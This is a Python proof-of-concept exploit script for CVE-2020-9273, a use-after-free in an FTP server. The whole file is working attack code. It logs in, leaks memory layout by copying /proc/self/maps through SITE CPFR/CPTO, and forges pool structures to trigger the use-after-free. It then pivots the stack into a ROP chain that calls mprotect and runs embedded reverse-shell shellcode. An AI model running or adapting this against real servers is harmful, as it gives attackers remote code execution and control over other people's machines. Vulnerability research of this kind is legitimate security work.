339 lines
9.5 KiB
Python
339 lines
9.5 KiB
Python
#!/usr/bin/env python3
|
|
|
|
#---------------------------------------------------------------------------------------------------------------
|
|
#
|
|
# Remote Code Execution PoC for CVE-2020-9273 (stack pivot + ROP + sc exec RCE)
|
|
#
|
|
# - @lockedbyte -
|
|
#
|
|
#---------------------------------------------------------------------------------------------------------------
|
|
|
|
import socket
|
|
import threading
|
|
from _thread import *
|
|
from pwn import *
|
|
import time
|
|
|
|
# --- CONFIG ---
|
|
RHOST = '127.0.0.1'
|
|
RPORT = 21
|
|
LHOST = '0.0.0.0'
|
|
LPORT = 3247
|
|
REMOTE_USER = b'pwn'
|
|
REMOTE_PASS = b'pwn'
|
|
# --- END CONFIG ---
|
|
|
|
'''
|
|
>>> (12*256)+175 # FTP data channel port
|
|
3247
|
|
'''
|
|
|
|
buf_send_sz = 15000
|
|
off = 97664
|
|
|
|
completed = 0
|
|
leaked = 0
|
|
heap_base = 0
|
|
text_base = 0
|
|
libc_base = 0
|
|
|
|
raw_lk = b''
|
|
lkport = 0
|
|
|
|
def payload_sender():
|
|
global completed
|
|
global leaked
|
|
global heap_base
|
|
global text_base
|
|
global libc_base
|
|
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
|
|
s.bind((LHOST, LPORT))
|
|
s.listen()
|
|
print('[+] Binding at ' + str(LHOST) + ':' + str(LPORT))
|
|
conn, addr = s.accept()
|
|
while(not leaked):
|
|
continue
|
|
sleep(5)
|
|
print('[+] Received connection from: ' + addr[0] + ':' + str(addr[1]))
|
|
with conn:
|
|
print('[*] Sending payload...')
|
|
# Attention! If fixing resp_pool value remember to change it aswell on line 284
|
|
resp_pool = heap_base + 0x8c280 # 0x8c6e0 #0x98220
|
|
fake_pool_rec = resp_pool - 0x10
|
|
fake_cleanup_t = resp_pool + 0x50
|
|
fake_block_hdr = resp_pool + 0x18
|
|
dummy_writable = resp_pool - 0x1012
|
|
gid_tab = heap_base + 0x307c8 # 0x30c28 #0x3c768
|
|
tab_x = heap_base + 0x87168 # 0x875c8 #0x93798
|
|
shellcode_addr = resp_pool + 0x90
|
|
ropchain = resp_pool + 0xd8
|
|
ret_addr = libc_base + 0x25679
|
|
|
|
mprot_sz = (shellcode_addr - heap_base) + 0x1000
|
|
|
|
padding = b'X'*256
|
|
#padding = b''
|
|
|
|
structx = b''
|
|
structx += p64(resp_pool + 0x48) # resp_pool + 0x0 (p->first): rax value for ROP controlling, pointing to pad addr
|
|
structx += p64(fake_block_hdr) # resp_pool + 0x8 (p->last): resp_pool + 0x18 (fake blok)
|
|
structx += p64(resp_pool + 0x20) # resp_pool + 0x10 (p->cleanups): resp_pool + 0x20
|
|
# res = pr_table_get(cmd->notes, "displayable-str", NULL); // should return NULL
|
|
structx += p64(tab_x + 0x18 - 0x28) # resp_pool + 0x18 (p->sub_pools): fake_blok->h.first_avail = tab + 0x18 - 0x28
|
|
structx += p64(fake_cleanup_t) # resp_pool + 0x20 (p->sub_next): fake->cleanups = resp_pool + 0x50
|
|
structx += p64(gid_tab - 0x90) # resp_pool + 0x28 (p->sub_prev): gid_tab - 0x90 (we want to overwrite gid_tab->pool)
|
|
structx += p64(dummy_writable) # resp_pool + 0x30 (p->parent): any writable address, not needed but as we have leak better to do that
|
|
structx += p64(dummy_writable) # resp_pool + 0x38 (p->free_first_avail): any writable address, not needed but as we have leak better to do that
|
|
structx += p64(dummy_writable) # resp_pool + 0x40 (p->tag): any writable address, not needed but as we have leak better to do that
|
|
|
|
padx = b''
|
|
padx += p64(ret_addr) # rax value for ROP (pointing to a ret)
|
|
|
|
fake_cleanup = b''
|
|
fake_cleanup += p64(ropchain) # addr to ROPchain
|
|
# push rdi ; pop rsp ; lea rsi,[rdi+0x48] ; mov rdi,r8 ; mov rax,QWORD PTR [rax+0x18] ; jmp rax ; xor eax,eax ; ret
|
|
fake_cleanup += p64(libc_base + 0x1491a1) # stack pivot gadget
|
|
fake_cleanup += p64(0x4141414141414141)
|
|
fake_cleanup += p64(0x4242424242424242)
|
|
|
|
nops = b''
|
|
nops += b'\x90'*16 # pre-target nopsled
|
|
# right here is where we want to jump
|
|
nops += b'\x90'*16 # post-target nopsled
|
|
|
|
# reverse /bin/sh shellcode to: 0.0.0.0:4444
|
|
|
|
shellcode = b''
|
|
shellcode += b"\x6a\x29\x58\x6a\x02\x5f\x6a\x01"
|
|
shellcode += b"\x5e\x48\x31\xd2\x0f\x05\x48\x97"
|
|
shellcode += b"\x6a\x02\x66\xc7\x44\x24\x02\x11"
|
|
shellcode += b"\x5c\x54\x6a\x2a\x58\x5e\x6a\x10"
|
|
shellcode += b"\x5a\x0f\x05\x6a\x03\x5e\x6a\x21"
|
|
shellcode += b"\x58\x48\xff\xce\x0f\x05\xe0\xf6"
|
|
shellcode += b"\x48\x31\xf6\x56\x48\xbf\x2f\x62"
|
|
shellcode += b"\x69\x6e\x2f\x2f\x73\x68\x57\x54"
|
|
shellcode += b"\x5f\xb0\x3b\x99\x0f\x05"
|
|
shellcode += b'\x90'*2
|
|
|
|
# ROP gadgets
|
|
|
|
pop_rax_ret = libc_base + 0x4a550
|
|
pop_rdi_ret = libc_base + 0x26b72
|
|
pop_rsi_ret = libc_base + 0x27529
|
|
pop_rdx_r12_ret = libc_base + 0x11c371
|
|
syscall_ret = libc_base + 0x66229
|
|
|
|
# ROP chain
|
|
|
|
rop = b''
|
|
rop += p64(pop_rax_ret) # pop rax ; ret
|
|
rop += p64(0x0a) # SYS_mprotect = 0x0a
|
|
rop += p64(pop_rdi_ret) # useless pop to fit gadget
|
|
rop += p64(ret_addr) # fit ROP with ret (gadget)
|
|
rop += p64(pop_rdi_ret) # pop rdi ; ret
|
|
rop += p64(shellcode_addr & 0xfffffffffffff000) # void *addr = heap_base ; we need three last nibbles NULL
|
|
rop += p64(pop_rsi_ret) # pop rsi ; ret
|
|
rop += p64(0x1000) # size_t len = 0x42000
|
|
rop += p64(pop_rdx_r12_ret) # pop rdx; pop r12; ret
|
|
rop += p64(0x07) # int prot = 0x7 (PROT_READ | PROT_WRITE | PROT_EXEC)
|
|
rop += p64(0x4141414141414141) # junk
|
|
rop += p64(syscall_ret) # syscall ; ret
|
|
rop += p64(shellcode_addr) # jmp into shellcode
|
|
|
|
block = b''
|
|
block += structx
|
|
block += padx
|
|
block += fake_cleanup
|
|
block += nops
|
|
block += shellcode
|
|
block += rop
|
|
|
|
print('[i] Payload size: ' + str(len(block)))
|
|
|
|
payload2 = b''
|
|
payload2 += padding
|
|
payload2 += block*(int(buf_send_sz/8))
|
|
#payload2 += b'\r\n'
|
|
while True:
|
|
try:
|
|
for _ in range(20):
|
|
conn.send(payload2)
|
|
#conn.send(b'\r\n')
|
|
except:
|
|
break
|
|
|
|
print('[*] Closing connection with FTP server...')
|
|
conn.close()
|
|
s.close()
|
|
completed = 1
|
|
|
|
def parse_leak(raw_lk):
|
|
lns = raw_lk.split(b'\n')
|
|
|
|
for h in lns:
|
|
if(not b'[heap]' in h):
|
|
continue
|
|
heap = int(b'0x'+h.split(b'-')[0], 16)
|
|
break
|
|
text = int(b'0x'+raw_lk.split(b'-')[0], 16)
|
|
for l in lns:
|
|
if(b'libcrypt' in l or b'libcap' in l or not b'libc' in l):
|
|
continue
|
|
libc = int(b'0x'+l.split(b'-')[0], 16)
|
|
break
|
|
return heap, text, libc
|
|
|
|
def leak_data_conn():
|
|
global lkport
|
|
global raw_lk
|
|
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
|
|
s.connect((RHOST, lkport))
|
|
raw_lk = s.recv(20000)
|
|
s.close()
|
|
return
|
|
|
|
def leak():
|
|
global raw_lk
|
|
global leaked
|
|
global heap_base
|
|
global text_base
|
|
global libc_base
|
|
global lkport
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
print('[*] Connecting to target: ' + str(RHOST) + ':' + str(RPORT))
|
|
s.connect((RHOST, RPORT))
|
|
print('[*] Receiving banner')
|
|
resp = s.recv(1024)
|
|
print('[*] Sending user...')
|
|
s.send(b'USER ' + REMOTE_USER + b'\r\n')
|
|
resp = s.recv(1024)
|
|
print('[*] Sending pass...')
|
|
s.send(b'PASS ' + REMOTE_PASS + b'\r\n')
|
|
resp = s.recv(1024)
|
|
if(b'logged in' in resp):
|
|
print('[+] Logged in')
|
|
else:
|
|
print('[-] Wrong credentials...')
|
|
exit()
|
|
s.send(b'SITE CPFR /proc/self/maps\r\n')
|
|
resp = s.recv(1024)
|
|
if(not b'350 File or di' in resp):
|
|
print('[-] Something went wrong...')
|
|
exit()
|
|
s.send(b'SITE CPTO /tmp/pwn.me\r\n')
|
|
resp = s.recv(1024)
|
|
if(not b'250 Copy succ' in resp):
|
|
print('[-] Something went wrong...')
|
|
exit()
|
|
s.send(b'TYPE I\r\n')
|
|
resp = s.recv(1024)
|
|
if(not b'200 Type set' in resp):
|
|
print('[-] Something went wrong...')
|
|
exit()
|
|
s.send(b'PASV\r\n')
|
|
resp = s.recv(1024)
|
|
if(not b'227 Enter' in resp):
|
|
print('[-] Something went wrong...')
|
|
exit()
|
|
s.send(b'RETR /tmp/pwn.me\r\n')
|
|
|
|
a = int(resp.split(b',')[4])
|
|
b = int(resp.split(b',')[5].split(b')')[0])
|
|
|
|
rport = (a*256) + b
|
|
lkport = rport
|
|
|
|
sleep(3)
|
|
|
|
start_new_thread(leak_data_conn, ())
|
|
|
|
time.sleep(2)
|
|
|
|
resp = s.recv(1024)
|
|
if(not b'226 Transfe' in resp):
|
|
print('[-] Something went wrong...')
|
|
exit()
|
|
|
|
if(raw_lk == b''):
|
|
print('[-] Error trying to leak...')
|
|
exit()
|
|
|
|
heap_base, text_base, libc_base = parse_leak(raw_lk)
|
|
|
|
sleep(0.4)
|
|
|
|
leaked = 1
|
|
|
|
s.close()
|
|
|
|
print('[+] Leaked: heap base = ' + hex(heap_base))
|
|
print('[+] Leaked: text base = ' + hex(text_base))
|
|
print('[+] Leaked: libc base = ' + hex(libc_base))
|
|
|
|
return
|
|
|
|
|
|
def main_thread():
|
|
global leaked
|
|
global heap_base
|
|
global text_base
|
|
global libc_base
|
|
leak()
|
|
pause()
|
|
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
|
|
resp_pool = heap_base + 0x8c280 # 0x8c6e0
|
|
print('[*] Connecting to target: ' + str(RHOST) + ':' + str(RPORT))
|
|
s.connect((RHOST, RPORT))
|
|
print('[*] Receiving banner')
|
|
resp = s.recv(1024)
|
|
print('[*] Sending user...')
|
|
s.send(b'USER ' + REMOTE_USER + b'\r\n')
|
|
resp = s.recv(1024)
|
|
print('[*] Sending pass...')
|
|
s.send(b'PASS ' + REMOTE_PASS + b'\r\n')
|
|
resp = s.recv(1024)
|
|
if(b'logged in' in resp):
|
|
print('[+] Logged in')
|
|
else:
|
|
print('[-] Wrong credentials...')
|
|
exit()
|
|
print('[*] forcing a use-after-free condition...')
|
|
s.send(b'TYPE I\r\n')
|
|
s.send(b'PORT 127,0,0,1,12,175\r\n')
|
|
s.send(b'STOR /tmp/uaf\r\n')
|
|
|
|
fake_gid_tab = b''
|
|
fake_gid_tab += b'XXXX ' # actual command
|
|
fake_gid_tab += b'AAA' # padding to fit address
|
|
fake_gid_tab += p64(resp_pool + 0x10)
|
|
# "displayable-str" will be written here ...
|
|
s.send(fake_gid_tab)
|
|
s.close()
|
|
|
|
def main():
|
|
global completed
|
|
global leaked
|
|
global heap_base
|
|
global RHOST
|
|
global RPORT
|
|
global REMOTE_USER
|
|
global REMOTE_PASS
|
|
print('[i] CVE-2020-9273 PoC Exploit (ROP + sc exec) by @lockedbyte')
|
|
if(len(sys.argv) < 5):
|
|
print('[%] Usage: python3 exploit.py <target IP> <target port> <username> <password>')
|
|
exit()
|
|
RHOST = sys.argv[1]
|
|
RPORT = int(sys.argv[2])
|
|
REMOTE_USER = sys.argv[3].encode('utf-8')
|
|
REMOTE_PASS = sys.argv[4].encode('utf-8')
|
|
start_new_thread(payload_sender, ())
|
|
start_new_thread(main_thread, ())
|
|
while True:
|
|
if(completed == 1):
|
|
print('[+] Exploit completed')
|
|
exit()
|
|
continue
|
|
|
|
if __name__ == '__main__':
|
|
main()
|